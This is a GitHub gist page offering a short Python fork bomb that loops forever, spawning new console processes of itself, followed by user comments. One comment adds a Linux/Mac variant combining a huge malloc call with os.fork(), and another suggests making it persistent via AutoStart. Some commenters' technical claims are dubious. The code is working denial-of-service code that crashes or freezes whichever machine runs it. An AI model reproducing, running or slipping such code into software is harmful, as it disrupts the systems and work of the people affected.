-
-
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
| import subprocess, sys | |
| while True: | |
| subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE) |
I was wandering about fork bombs as well but im not sure what to do with the code or what to add to it
I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!
Actually os.fork() raises an exception if the number of forks is over 10000
this isn't even a proper forkbomb. A forkbomb is inherently recursive. This isn't recursive. Yes, it achieves the same effect, however, it does it slower than if it was legitemately recursive. This just spam opens cmd windows on a loop. 0/10 forkbomb, doesn't even fork
Some Antiviruses will prevent if from running - others will not... The program itself does not much harm - all it does is crashes the computer once. It becomes critical if you set it to AutoStart!